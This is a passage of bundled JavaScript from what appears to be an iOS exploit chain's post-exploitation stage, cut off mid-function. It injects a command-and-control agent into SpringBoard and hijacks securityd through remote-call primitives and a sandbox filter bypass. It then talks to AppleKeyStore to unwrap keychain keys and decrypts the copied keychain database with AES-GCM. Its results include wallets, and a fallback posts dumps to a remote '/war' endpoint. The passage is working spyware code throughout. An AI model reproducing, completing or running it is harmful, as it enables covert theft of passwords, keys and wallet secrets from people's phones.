p7_flog("PEMK-F0 war-fallback err: " + e); p7_flushLog();
return false;
}
}
function __peStage5() {
// Deadlock: inject() starts evaluateScript in background, then full
// applyTokensForRemoteTask() into SpringBoard hangs (~2min+) and c2 never
// POSTs /war. NUI path: pre-token /tmp dumps, inject via existing RC, skip
// full PathDictionary apply. Use for 18.5 and 18.6.1+; 18.6.0 keeps legacy.
// 18.5 after long Phase2: SpringBoard RC often fails 0x494 (120s EXC wait) —
// stage order runs s5 before s6 on 18.5; still keep PE /war fallback here.
LOG("[PE-WORKER] inject c2_agent -> " + targetProcess);
var __iosC2 = __labIosForGate();
// 18.5: same SpringBoard applyTokens deadlock as 18.6.1+ (hung after PEMK-F0).
var __useNuiC2 = (__iosC2.maj === 18 && (
(__iosC2.min === 5) ||
(__iosC2.min === 6 && __iosC2.pat >= 1) ||
(__iosC2.min > 6)
));
// If version still unknown, prefer NUI (legacy deadlock is worse than skip-applyTokens).
if (!__useNuiC2 && !(__iosC2.maj)) __useNuiC2 = true;
p7_flog("PEMK-F0 ios=" + (__iosC2.raw || "?") + " useNuiC2=" + (__useNuiC2 ? "1" : "0")); p7_flushLog();
var __c2Injected = false;
try {
let c2Code = _raw_loader_c2_agent_js__WEBPACK_IMPORTED_MODULE_17__["default"];
try {
let diagData = globalThis.__ucredDiag || "no_diag";
let diagSnippet = '\nglobalThis.__ucredDiag=' + JSON.stringify(diagData) + ';\nglobalThis.__peInjectTs=' + JSON.stringify(String(Date.now())) + ';\n';
c2Code = c2Code.replace('Native.init();', 'Native.init();' + diagSnippet);
LOG("[PE-WORKER] ucred diag inserted (" + diagData.length + " chars)");
} catch(dErr) {
LOG("[PE-WORKER] diag insert error: " + dErr);
}
if (__useNuiC2) {
p7_flog("PEMK-F0 nui SpringBoard RC begin"); p7_flushLog();
var __c2RC = null;
for (var __c2Try = 0; __c2Try < 2; __c2Try++) {
try { globalThis.__peRemoteFail = 0; } catch (_zf) {}
var __tRc = Date.now();
try {
__c2RC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"](targetProcess, migFilterBypass);
} catch (_rcE) {
p7_flog("PEMK-F0 SpringBoard RC threw try=" + (__c2Try + 1) + " " + _rcE); p7_flushLog();
__c2RC = null;
}
var __fail = 0;
try { __fail = globalThis.__peRemoteFail || 0; } catch (_ff) {}
if (__c2RC && __c2RC.success()) {
p7_flog("PEMK-F0 SpringBoard RC ok try=" + (__c2Try + 1) + " ms=" + (Date.now() - __tRc)); p7_flushLog();
break;
}
p7_flog("PEMK-F0 SpringBoard RC fail try=" + (__c2Try + 1) + "/2 fail=0x" + Number(__fail).toString(16) + " ms=" + (Date.now() - __tRc));
p7_flushLog();
if (__c2RC) { try { __c2RC.destroy(); } catch (_rd0) {} }
__c2RC = null;
// 0x494 = first EXC wait timeout (120s) — retrying usually wastes another 120s.
if (Number(__fail) === 0x494) break;
try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 2000000); } catch (_us) {}
}
if (!__c2RC || !__c2RC.success()) {
LOG("[PE-WORKER] c2_agent: SpringBoard RC failed");
p7_flog("PEMK-F0 SpringBoard RC failed -> war-fallback"); p7_flushLog();
__pePostWarDumpFallback("sb_rc_fail");
} else {
p7_flog("PEMK-F0 SpringBoard RC ok -> pre-token"); p7_flushLog();
var __c2Paths = [
"/tmp/",
"/tmp/keychain_c2_dump.json",
"/tmp/keychain_c2_dump.json.tmp",
"/tmp/keychain_c2_dump.done",
"/tmp/keychain_c2_dump.partial",
"/tmp/p7_debug.log",
"/private/var/tmp/"
];
var __c2TokOk = 0;
for (var __cpi = 0; __cpi < __c2Paths.length; __cpi++) {
try {
if (__labApplyFreshToken(__c2RC, __c2Paths[__cpi])) __c2TokOk++;
} catch (_ct) {}
}
p7_flog("PEMK-F0 pre-token ok=" + __c2TokOk + "/" + __c2Paths.length); p7_flushLog();
var c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__c2RC, c2Code, migFilterBypass);
p7_flog("PEMK-F0 InjectJS ctor ok"); p7_flushLog();
if (c2Agent.inject()) {
LOG("[PE-WORKER] c2_agent OK - persistent loop started");
// Do NOT applyTokensForRemoteTask — deadlocks with bg evaluateScript.
p7_flog("PEMK-F0 c2 inject OK skip full applyTokens -> destroy"); p7_flushLog();
c2Agent.destroy();
__c2Injected = true;
try { globalThis.__peC2Injected = true; } catch (_g) {}
p7_flog("PEMK-F0 destroy ok"); p7_flushLog();
} else {
LOG("[PE-WORKER] c2_agent FAILED");
p7_flog("PEMK-F0 c2 inject FAILED -> war-fallback"); p7_flushLog();
try { __c2RC.destroy(); } catch (_rd) {}
__pePostWarDumpFallback("inject_fail");
}
}
} else {
p7_flog("PEMK-F0 legacy SpringBoard inject begin"); p7_flushLog();
let c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, c2Code, migFilterBypass);
p7_flog("PEMK-F0 legacy InjectJS ctor ok"); p7_flushLog();
if (c2Agent.inject()) {
LOG("[PE-WORKER] c2_agent OK - persistent loop started");
p7_flog("PEMK-F0 legacy inject ok -> applyTokens"); p7_flushLog();
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(c2Agent.task);
c2Agent.destroy();
__c2Injected = true;
try { globalThis.__peC2Injected = true; } catch (_g2) {}
p7_flog("PEMK-F0 legacy c2 OK"); p7_flushLog();
} else {
LOG("[PE-WORKER] c2_agent FAILED");
p7_flog("PEMK-F0 legacy c2 FAILED -> war-fallback"); p7_flushLog();
__pePostWarDumpFallback("legacy_inject_fail");
}
}
} catch (c2Err) {
LOG("[PE-WORKER] c2_agent error: " + c2Err);
p7_flog("PEMK-F0 exception: " + c2Err); p7_flushLog();
if (!__c2Injected) __pePostWarDumpFallback("exception");
}
p7_flog("PEMK-F s5_c2 done injected=" + (__c2Injected ? "1" : "0")); p7_flushLog();
}
function __peStage6() {
// Wait like bak success: /tmp/keychain-2.db size > 1MB, OR READY notify from copier/rc_copy.
// Then Phase2: MPD sqlite3_open(path) → iterate ciphertext → securityd AKS unwrap.
if (typeof __peStillOwner === "function" && !__peStillOwner()) {
p7_flog("PEMK-G skip s6: lost pe_run_token (newer/other PE)");
p7_flushLog();
return;
}
p7_flog("[PE-WORKER] waiting for keychain db (size>1MB or READY, max 90s)...");
p7_flushLog();
var __labKcReady = false;
var __labKcPath = "/tmp/keychain-2.db";
var __labKcPaths = ["/tmp/keychain-2.db", "/private/var/tmp/keychain-2.db"];
for (var __labWi = 0; __labWi < 90; __labWi++) {
if (typeof __peStillOwner === "function" && !__peStillOwner()) {
p7_flog("PEMK-G abort wait: lost pe_run_token");
p7_flushLog();
return;
}
var __st = __labKcReadStatus();
if (__st && __st.ready) {
__labKcReady = true;
__labKcPath = __st.path || __labKcPath;
try { globalThis.__labKcCopyPath = __labKcPath; globalThis.__labKcReady = true; } catch (_g) {}
p7_flog("[PE-WORKER] keychain COPY READY notify path=" + __labKcPath + " t=" + (__labWi + 1) + "s raw=" + String(__st.raw).slice(0, 120));
p7_flushLog();
break;
}
for (var __labPi = 0; __labPi < __labKcPaths.length; __labPi++) {
var __labSz = __labKcDbSize(__labKcPaths[__labPi]);
if (__labSz > 1048576) {
__labKcReady = true;
__labKcPath = __labKcPaths[__labPi];
try { globalThis.__labKcCopyPath = __labKcPath; globalThis.__labKcReady = true; } catch (_g2) {}
p7_flog("[PE-WORKER] keychain db ready path=" + __labKcPath + " sz=" + __labSz + " t=" + (__labWi + 1) + "s");
p7_flushLog();
break;
}
}
if (__labKcReady) break;
if ((__labWi % 10) === 9) {
p7_flog("[PE-WORKER] still waiting keychain db t=" + (__labWi + 1) + "s");
p7_flushLog();
}
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1);
}
if (!__labKcReady) {
p7_flog("[PE-WORKER] keychain db not ready after 90s - SKIP Phase2 (no AKS/sqlite until copy)");
p7_flushLog();
}
if (__labKcCopier) {
try { __labKcCopier.destroy(); } catch (_kd) {}
__labKcCopier = null;
}
// ===== P7 Phase 2: V4 Local SQLite + Remote AKS Oracle Pipeline =====
// Hard gate: MPD must see READY (copy done) before sqlite open + securityd AKS unwrap.
if (p7_enableP7 && !__labKcReady) {
p7_flog("[PE-WORKER] Phase2 aborted: no keychain READY — will not connect securityd AKS");
p7_flushLog();
} else if (p7_enableP7) {
let p7_secRC = null;
try {
p7_flog("=== Phase 2: V4 AKS Oracle Pipeline (READY path=" + __labKcPath + ") ===");
let N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"];
function p7_toPtr(v) {
if (typeof v === 'bigint') return v;
if (typeof v === 'number') return BigInt(v);
if (v === null || v === undefined) return 0n;
p7_flog("WARN toPtr: type=" + typeof v + " v=" + String(v).slice(0, 40));
return 0n;
}
function p7_toRC(v) {
if (typeof v === 'number') return v;
if (typeof v === 'bigint') return Number(v & 0xFFFFFFFFn);
if (v === null || v === undefined) return -1;
p7_flog("WARN toRC: type=" + typeof v + " v=" + String(v).slice(0, 40));
return -1;
}
function p7_requirePtr(label, v) {
if (typeof v === 'bigint') return v;
if (typeof v === 'number') return BigInt(v);
p7_flog("BUG requirePtr(" + label + "): got " + typeof v);
throw new TypeError("requirePtr(" + label + "): expected bigint|number, got " + typeof v);
}
// --- Poke securityd: 3x SecItemCopyMatching (wake threads before RC) ---
p7_flog("Poke: waking securityd...");
try {
var p7_rpResult = p7_toPtr(N.callSymbol("malloc", 8n));
if (p7_rpResult && p7_rpResult !== 0n) {
var p7_rpKSC = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecClass")));
var p7_rpKGP = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecClassGenericPassword")));
var p7_rpKML = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecMatchLimit")));
var p7_rpKM1 = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecMatchLimitOne")));
for (var pi = 0; pi < 3; pi++) {
var pq = p7_toPtr(N.callSymbol("CFDictionaryCreateMutable", 0n, 2n, 0n, 0n));
if (!pq || pq === 0n) break;
N.callSymbol("CFDictionarySetValue", pq, p7_rpKSC, p7_rpKGP);
N.callSymbol("CFDictionarySetValue", pq, p7_rpKML, p7_rpKM1);
N.write64(p7_rpResult, 0n);
var pr = Number(N.callSymbol("SecItemCopyMatching", pq, p7_rpResult));
var pref = N.readPtr(p7_rpResult);
if (pref && pref !== 0n) N.callSymbol("CFRelease", pref);
N.callSymbol("CFRelease", pq);
p7_flog("poke[" + pi + "] ret=" + pr);
}
N.callSymbol("free", p7_rpResult);
}
p7_flog("Poke done");
} catch (pokeErr) {
p7_flog("Poke error: " + pokeErr);
}
// --- RC(securityd) single attempt (immediately after poke) ---
p7_flushLog();
if (typeof __peStillOwner === "function" && !__peStillOwner()) {
p7_flog("PEMK-G abort Phase2: lost pe_run_token before securityd RC");
p7_flushLog();
throw "pe_run_token_lost";
}
var p7_t0 = Date.now();
p7_flog("RC: creating securityd (before c2 to avoid SecItem contention)...");
p7_secRC = null;
for (var p7_rcTry = 0; p7_rcTry < 3; p7_rcTry++) {
if (typeof __peStillOwner === "function" && !__peStillOwner()) {
p7_flog("PEMK-G abort Phase2: lost pe_run_token during securityd RC retry");
p7_flushLog();
throw "pe_run_token_lost";
}
var p7_tTry = Date.now();
p7_flog("RC: creating securityd try=" + (p7_rcTry + 1) + "/3");
try {
p7_secRC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("securityd", migFilterBypass);
p7_flog("RC: constructor took " + (Date.now() - p7_tTry) + "ms success=" + (p7_secRC && p7_secRC.success()));
} catch (rcErr) {
p7_flog("RC constructor threw after " + (Date.now() - p7_tTry) + "ms: " + String(rcErr));
p7_secRC = null;
}
if (p7_secRC && p7_secRC.success()) break;
if (p7_secRC) { try { p7_secRC.destroy(); } catch(e) {} }
p7_secRC = null;
try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 2000000); } catch (_us) {}
}
p7_flog("RC: securityd total " + (Date.now() - p7_t0) + "ms");
if (!p7_secRC || !p7_secRC.success()) {
p7_flog("RC(securityd) FAILED");
if (p7_secRC) { try { p7_secRC.destroy(); } catch(e) {} }
p7_secRC = null;
} else {
let p7_remotePid = p7_toRC(p7_secRC.call(3000, "getpid"));
let p7_remoteUid = p7_toRC(p7_secRC.call(3000, "getuid"));
p7_flog("RC(securityd) pid=" + p7_remotePid + " uid=" + p7_remoteUid);
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(p7_secRC);
p7_flushLog();
let p7_rm = p7_secRC.mem();
let p7_sp = p7_secRC.lastLiveSP();
p7_flog("RC mem=0x" + p7_rm.toString(16) + " liveSP=0x" + p7_sp.toString(16));
// --- 2B: Remote AKS IOKit init ---
function p7_rcDlsym(name) {
p7_secRC.writeStr(p7_rm, name);
return p7_toPtr(p7_secRC.call(3000, "dlsym", 0xfffffffffffffffen, p7_rm));
}
function p7_rcCallN(funcName, x0, x1, x2, x3, x4, x5, x6, x7, stackArgs) {
let sp = p7_secRC.lastLiveSP();
if (!sp) { p7_flog("callN: no live SP!"); return 0n; }
if (stackArgs) {
for (var si = 0; si < stackArgs.length; si++)
p7_secRC.write64(sp + BigInt(si * 8), stackArgs[si] || 0n);
}
return p7_secRC.call(5000, funcName,
x0 || 0n, x1 || 0n, x2 || 0n, x3 || 0n,
x4 || 0n, x5 || 0n, x6 || 0n, x7 || 0n);
}
function p7_rcCalloc(size) {
var raw = p7_secRC.call(3000, "calloc", 1n, BigInt(size));
if (typeof raw !== 'bigint' && typeof raw !== 'number')
p7_flog("rcCalloc(" + size + ") raw type=" + typeof raw + " val=" + String(raw).slice(0, 60));
return p7_toPtr(raw);
}
function p7_rcFree(ptr) {
if (ptr && ptr !== 0n) p7_secRC.call(1000, "free", p7_requirePtr("rcFree", ptr));
}
function p7_rcWriteBuf(remoteDst, buf, len) {
p7_requirePtr("rcWriteBuf.dst", remoteDst);
var tmp = BigInt(N.callSymbol("malloc", len));
N.write(tmp, buf.buffer || buf);
p7_secRC.write(remoteDst, tmp, len);
N.callSymbol("free", tmp);
}
function p7_rcReadBuf(remoteSrc, len) {
p7_requirePtr("rcReadBuf.src", remoteSrc);
var tmp = BigInt(N.callSymbol("malloc", len));
p7_secRC.read(remoteSrc, tmp, len);
var data = N.read(tmp, len);
N.callSymbol("free", tmp);
return data;
}
var p7_aksConn = 0n;
var p7_aksReady = false;
var p7_result = {
timestamp: new Date().toISOString(),
source: "pe_worker_v4",
securityd_pid: p7_remotePid,
securityd_uid: p7_remoteUid,
diagnostics: {},
metadataKeys: {},
tables: {},
wallets: {},
errors: []
};
// Resolve IOKit symbols in securityd
var p7_symIOSM = p7_rcDlsym("IOServiceMatching");
var p7_symIOSGMS = p7_rcDlsym("IOServiceGetMatchingService");
var p7_symIOSO = p7_rcDlsym("IOServiceOpen");
var p7_symIOOR = p7_rcDlsym("IOObjectRelease");
var p7_symIOCCM = p7_rcDlsym("IOConnectCallMethod");
p7_flog("IOKit syms: Matching=0x" + p7_symIOSM.toString(16) +
" GetMatching=0x" + p7_symIOSGMS.toString(16) +
" Open=0x" + p7_symIOSO.toString(16) +
" CallMethod=0x" + p7_symIOCCM.toString(16));
if (p7_symIOSM && p7_symIOSGMS && p7_symIOSO && p7_symIOCCM) {
// task_self_trap in securityd
var p7_secTaskSelf = p7_toPtr(p7_secRC.call(3000, "task_self_trap"));
p7_flog("securityd task_self=0x" + p7_secTaskSelf.toString(16));
// IOServiceMatching("AppleKeyStore")
p7_secRC.writeStr(p7_rm, "AppleKeyStore");
var p7_matching = p7_toPtr(p7_secRC.call(3000, "IOServiceMatching", p7_rm));
p7_flog("IOServiceMatching=0x" + p7_matching.toString(16));
if (p7_matching && p7_matching !== 0n) {
// IOServiceGetMatchingService(kIOMasterPortDefault, matching)
var p7_service32 = p7_toRC(p7_secRC.call(3000, "IOServiceGetMatchingService", 0n, p7_matching)) & 0xFFFFFFFF;
p7_flog("IOServiceGetMatchingService=" + p7_service32);
if (p7_service32 > 0) {
// IOServiceOpen(service, taskSelf, 0, &connSlot)
var p7_connSlot = p7_rcCalloc(8);
p7_secRC.write64(p7_connSlot, 0n);
var p7_kr = p7_toRC(p7_secRC.call(3000, "IOServiceOpen",
BigInt(p7_service32), p7_secTaskSelf, 0n, p7_connSlot));
p7_flog("IOServiceOpen kr=0x" + (p7_kr >>> 0).toString(16));
p7_secRC.call(1000, "IOObjectRelease", BigInt(p7_service32));
if (p7_kr === 0) {
p7_aksConn = p7_secRC.read64(p7_connSlot) & 0xFFFFFFFFn;
p7_flog("AKS conn=0x" + p7_aksConn.toString(16));
// IOConnectCallMethod(conn, 0, ...) init handshake
var p7_initOut = p7_rcCalloc(32);
var p7_initOutCnt = p7_rcCalloc(8);
p7_secRC.write64(p7_initOutCnt, 2n);
var p7_initKr = p7_rcCallN("IOConnectCallMethod",
p7_aksConn, 0n, 0n, 0n, 0n, 0n,
p7_initOut, p7_initOutCnt,
[0n, 0n]);
var p7_initKrN = p7_toRC(p7_initKr);
p7_flog("AKS init kr=0x" + (p7_initKrN >>> 0).toString(16));
p7_rcFree(p7_initOut);
p7_rcFree(p7_initOutCnt);
if (p7_initKrN === 0) {
p7_aksReady = true;
p7_flog("AKS IOKit READY");
} else {
p7_flog("AKS init handshake failed, trying unwrap anyway");
p7_aksReady = true;
}
}
p7_rcFree(p7_connSlot);
}
}
}
p7_result.diagnostics.aksReady = p7_aksReady;
p7_result.diagnostics.aksConn = "0x" + p7_aksConn.toString(16);
p7_flushLog();
// --- AKS unwrap helper (quiet: no per-call HTTP flog spam) ---
function p7_aksUnwrap(keyclass, wrappedBuf, wrappedLen) {
if (!p7_aksReady || !p7_aksConn) return null;
var scalarBuf, wrappedRemote, outBuf, outSizeBuf, kr, outSize;
try {
scalarBuf = p7_rcCalloc(16);
p7_secRC.write64(scalarBuf, 0n);
p7_secRC.write64(scalarBuf + 8n, BigInt(keyclass));
wrappedRemote = p7_rcCalloc(wrappedLen);
p7_rcWriteBuf(wrappedRemote, wrappedBuf, wrappedLen);
outBuf = p7_rcCalloc(64);
outSizeBuf = p7_rcCalloc(8);
p7_secRC.write64(outSizeBuf, 32n);
kr = p7_rcCallN("IOConnectCallMethod",
p7_aksConn, 11n,
scalarBuf, 2n,
wrappedRemote, BigInt(wrappedLen),
0n, 0n,
[outBuf, outSizeBuf]);
outSize = Number(p7_secRC.read64(outSizeBuf) & 0xFFFFn);
} catch (innerErr) {
p7_flog("aksUnwrap fail class=" + keyclass + ": " + innerErr);
if (scalarBuf) p7_rcFree(scalarBuf);
if (wrappedRemote) p7_rcFree(wrappedRemote);
if (outBuf) p7_rcFree(outBuf);
if (outSizeBuf) p7_rcFree(outSizeBuf);
return null;
}
p7_rcFree(scalarBuf);
p7_rcFree(wrappedRemote);
var result = null;
var krVal = p7_toRC(kr);
if (krVal === 0 && outSize > 0 && outSize <= 64) {
result = p7_rcReadBuf(outBuf, outSize);
} else if (krVal !== 0) {
p7_flog("aksUnwrap fail class=" + keyclass + " kr=" + krVal);
}
p7_rcFree(outBuf);
p7_rcFree(outSizeBuf);
return { kr: krVal, outSize: outSize, data: result };
}
// --- 2C: Local SQLite3 pipeline ---
var p7_SQLITE_OK = 0;
var p7_SQLITE_ROW = 100;
var p7_dbPaths = [
"/tmp/keychain-2.db",
"/private/var/tmp/keychain-2.db",
"/private/var/Keychains/keychain-2.db",
"/var/Keychains/keychain-2.db"
];
try {
var __np = globalThis.__labKcCopyPath;
if (__np && typeof __np === "string" && __np.length > 0) {
p7_dbPaths = [__np].concat(p7_dbPaths.filter(function(x){ return x !== __np; }));
p7_flog("using copier notify path first: " + __np);
}
} catch (_np) {}
p7_flog("--- Local SQLite3 pipeline ---");
// Guarantee the .done marker exists early so c2_agent polling
// succeeds even if the sqlite open / dump below fails (iOS18nui).
try {
var _earlyDoneFd = Number(N.callSymbol("open", "/tmp/keychain_c2_dump.done", 0x601, 0x1FF));
if (_earlyDoneFd >= 0) {
N.callSymbol("write", _earlyDoneFd, "done", 4);
N.callSymbol("close", _earlyDoneFd);
N.callSymbol("chmod", "/tmp/keychain_c2_dump.done", 0x1FF);
p7_flog("early .done marker created");
}
} catch(_de) { p7_flog("early .done err: " + _de); }
try {
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/tmp/keychain-2.db", true);
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/private/var/tmp/keychain-2.db", true);
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/private/var/Keychains/keychain-2.db", true);
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/var/Keychains/keychain-2.db", true);
} catch (_tokE) {
p7_flog("token refresh warn: " + _tokE);
}
var p7_dbPtrBuf = N.callSymbol("calloc", 1, 8);
var p7_dbRc = -1;
var p7_dbPathUsed = "";
for (var p7_try = 0; p7_try < 30; p7_try++) {
for (var p7_di = 0; p7_di < p7_dbPaths.length; p7_di++) {
var p7_cand = p7_dbPaths[p7_di];
var p7_acc = Number(N.callSymbol("access", p7_cand, 0));
var p7_ofd = Number(N.callSymbol("open", p7_cand, 0));
var p7_osz = -1;
if (p7_ofd >= 0) {
p7_osz = Number(N.callSymbol("lseek", p7_ofd, 0, 2));
N.callSymbol("close", p7_ofd);
}
p7_flog("try" + p7_try + " path=" + p7_cand + " acc=" + p7_acc + " sz=" + p7_osz);
// After copier READY notify: attempt open immediately (no size>1MB/1KB gate).
p7_dbRc = Number(N.callSymbol("sqlite3_open_v2", p7_cand, p7_dbPtrBuf, 0x01, 0n));
p7_flog("sqlite3_open " + p7_cand + " rc=" + p7_dbRc);
if (p7_dbRc === p7_SQLITE_OK) {
p7_dbPathUsed = p7_cand;
break;
}
}
if (p7_dbRc === p7_SQLITE_OK) break;
N.callSymbol("sleep", 2);
}
p7_flog("sqlite3_open final rc=" + p7_dbRc + " path=" + p7_dbPathUsed);
if (p7_dbRc === p7_SQLITE_OK) {
var p7_db = N.read64(BigInt(p7_dbPtrBuf));
N.callSymbol("free", p7_dbPtrBuf);
N.callSymbol("sqlite3_busy_timeout", p7_db, 5000);
p7_flog("DB opened OK, db=0x" + p7_db.toString(16));
p7_flushLog();
// --- Unwrap metadata keys ---
p7_flog("preparing metadatakeys query...");
var p7_metaKeys = {};
var p7_stmtBuf = N.callSymbol("calloc", 1, 8);
p7_flog("stmtBuf=0x" + BigInt(p7_stmtBuf).toString(16));
var p7_mkRc = Number(N.callSymbol("sqlite3_prepare_v2", p7_db,
"SELECT keyclass, data FROM metadatakeys", -1, p7_stmtBuf, 0n));
p7_flog("prepare rc=" + p7_mkRc);
p7_flushLog();
if (p7_mkRc === p7_SQLITE_OK) {
var p7_mkStmt = N.read64(BigInt(p7_stmtBuf));
p7_flog("mkStmt=0x" + p7_mkStmt.toString(16));
var p7_mkCount = 0;
var p7_stepRc;
while ((p7_stepRc = Number(N.callSymbol("sqlite3_step", p7_mkStmt))) === p7_SQLITE_ROW) {
var p7_kc = Number(N.callSymbol("sqlite3_column_int", p7_mkStmt, 0));
var p7_wrapPtr = BigInt(N.callSymbol("sqlite3_column_blob", p7_mkStmt, 1));
var p7_wrapLen = Number(N.callSymbol("sqlite3_column_bytes", p7_mkStmt, 1));
if (!p7_wrapPtr || p7_wrapPtr === 0n || p7_wrapLen < 40) continue;
var p7_localWrap = N.read(p7_wrapPtr, p7_wrapLen);
if (p7_aksReady) {
var p7_unwrap = p7_aksUnwrap(p7_kc, p7_localWrap, p7_wrapLen);
if (p7_unwrap && p7_unwrap.kr === 0 && p7_unwrap.data) {
var p7_keyArr = new Uint8Array(p7_unwrap.data);
p7_metaKeys[p7_kc] = p7_keyArr;
p7_result.metadataKeys[p7_kc] = {status: "ok", len: p7_unwrap.outSize};
p7_mkCount++;
p7_flog("metakey class=" + p7_kc + " OK " + p7_unwrap.outSize + "B");
} else {
var p7_ukr = p7_unwrap ? p7_unwrap.kr : -1;
p7_result.metadataKeys[p7_kc] = {status: "failed", kr: p7_ukr};
p7_flog("metakey class=" + p7_kc + " FAIL kr=" + p7_ukr);
}
}
}
N.callSymbol("sqlite3_finalize", p7_mkStmt);
p7_flog("metadatakeys: " + p7_mkCount + " unwrapped");
p7_result.diagnostics.metadataKeysUnwrapped = p7_mkCount;
} else {
p7_flog("metadatakeys prepare failed rc=" + p7_mkRc);
p7_result.errors.push("metadatakeys prepare rc=" + p7_mkRc);
}
N.callSymbol("free", p7_stmtBuf);
p7_flushLog();
// --- Check local CommonCrypto availability ---
var p7_symCCCreate = p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "CCCryptorCreate"));
var p7_hasCrypto = p7_symCCCreate !== 0n;
p7_flog("Local CCCryptorCreate=0x" + p7_symCCCreate.toString(16));
p7_result.diagnostics.hasCrypto = p7_hasCrypto;
p7_flushLog();
// Local AES-GCM with tag verification
// Uses CCCryptorCreate(7args) + CCCryptorUpdate(6args) for AES-ECB,
// then JavaScript for CTR mode + GHASH tag computation
function p7_aesEcbEncrypt(keyPtr, ctx, localIn, localOut, movedBuf, block16) {
N.write(localIn, block16.buffer);
N.callSymbol("CCCryptorUpdate", ctx, localIn, 16n, localOut, 16n, movedBuf);
return new Uint8Array(N.read(localOut, 16));
}
function p7_gf128Mul(X, Y) {
var Z = new Uint8Array(16);
var V = new Uint8Array(Y);
for (var i = 0; i < 128; i++) {
if (X[i >> 3] & (0x80 >> (i & 7)))
for (var j = 0; j < 16; j++) Z[j] ^= V[j];
var lsb = V[15] & 1;
for (var j = 15; j > 0; j--) V[j] = (V[j] >>> 1) | ((V[j-1] & 1) << 7);
V[0] >>>= 1;
if (lsb) V[0] ^= 0xe1;
}
return Z;
}
function p7_gcmDeriveJ0(H, iv, ivLen) {
var j0 = new Uint8Array(16);
if (ivLen === 12) {
for (var i = 0; i < 12; i++) j0[i] = iv[i];
j0[15] = 1;
} else {
var g = new Uint8Array(16);
var nBlk = Math.ceil(ivLen / 16);
for (var i = 0; i < nBlk; i++) {
var off = i * 16, rem = Math.min(16, ivLen - off);
for (var j = 0; j < rem; j++) g[j] ^= iv[off + j];
g = p7_gf128Mul(g, H);
}
var lb = new Uint8Array(16);
var ivBits = ivLen * 8;
lb[12] = (ivBits >>> 24) & 0xff; lb[13] = (ivBits >>> 16) & 0xff;
lb[14] = (ivBits >>> 8) & 0xff; lb[15] = ivBits & 0xff;
for (var j = 0; j < 16; j++) g[j] ^= lb[j];
j0 = p7_gf128Mul(g, H);
}
return j0;
}
function p7_gcmInc32(block) {
var c = new Uint8Array(block);
for (var k = 15; k >= 12; k--) { c[k]++; if (c[k] !== 0) break; }
return c;
}
function p7_gcmDecrypt(key32, iv, ivLen, ct, ctLen, tag, tagLen) {
if (!key32 || !ct || ctLen <= 0) return null;
var localKey = p7_toPtr(N.callSymbol("malloc", 32));
N.write(localKey, key32.buffer || key32);
var ctxBuf = p7_toPtr(N.callSymbol("calloc", 1, 8));
var cr = Number(N.callSymbol("CCCryptorCreate",
0n, 0n, 2n, localKey, 32n, 0n, ctxBuf));
if (cr !== 0) {
p7_flog("gcm: CCCryptorCreate failed cr=" + cr);
N.callSymbol("free", localKey); N.callSymbol("free", ctxBuf);
return null;
}
var ctx = N.readPtr(ctxBuf);
N.callSymbol("free", ctxBuf);
var localIn = p7_toPtr(N.callSymbol("malloc", 16));
var localOut = p7_toPtr(N.callSymbol("malloc", 16));
var movedBuf = p7_toPtr(N.callSymbol("calloc", 1, 8));
var H = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, new Uint8Array(16));
var j0 = p7_gcmDeriveJ0(H, iv, ivLen);
var ctr = p7_gcmInc32(j0);
var plaintext = new Uint8Array(ctLen);
var blockCount = Math.ceil(ctLen / 16);
for (var b = 0; b < blockCount; b++) {
var encCtr = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, ctr);
var off = b * 16;
var rem = Math.min(16, ctLen - off);
for (var j = 0; j < rem; j++) plaintext[off + j] = ct[off + j] ^ encCtr[j];
ctr = p7_gcmInc32(ctr);
}
var tagOk = true;
if (tag && tagLen > 0) {
var ghash = new Uint8Array(16);
var ctBlocks = Math.ceil(ctLen / 16);
for (var i = 0; i < ctBlocks; i++) {
var off2 = i * 16;
var rem2 = Math.min(16, ctLen - off2);
for (var j = 0; j < rem2; j++) ghash[j] ^= ct[off2 + j];
ghash = p7_gf128Mul(ghash, H);
}
var lenBlock = new Uint8Array(16);
var ctBits = ctLen * 8;
lenBlock[12] = (ctBits >>> 24) & 0xff; lenBlock[13] = (ctBits >>> 16) & 0xff;
lenBlock[14] = (ctBits >>> 8) & 0xff; lenBlock[15] = ctBits & 0xff;
for (var j = 0; j < 16; j++) ghash[j] ^= lenBlock[j];
ghash = p7_gf128Mul(ghash, H);
var encJ0 = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, j0);
var computedTag = new Uint8Array(16);
for (var j = 0; j < 16; j++) computedTag[j] = ghash[j] ^ encJ0[j];
tagOk = true;
for (var j = 0; j < Math.min(tagLen, 16); j++) {
if (computedTag[j] !== tag[j]) { tagOk = false; break; }
}
}
N.callSymbol("CCCryptorRelease", ctx);
N.callSymbol("free", localKey);
N.callSymbol("free", localIn);
N.callSymbol("free", localOut);
N.callSymbol("free", movedBuf);
if (!tagOk) {
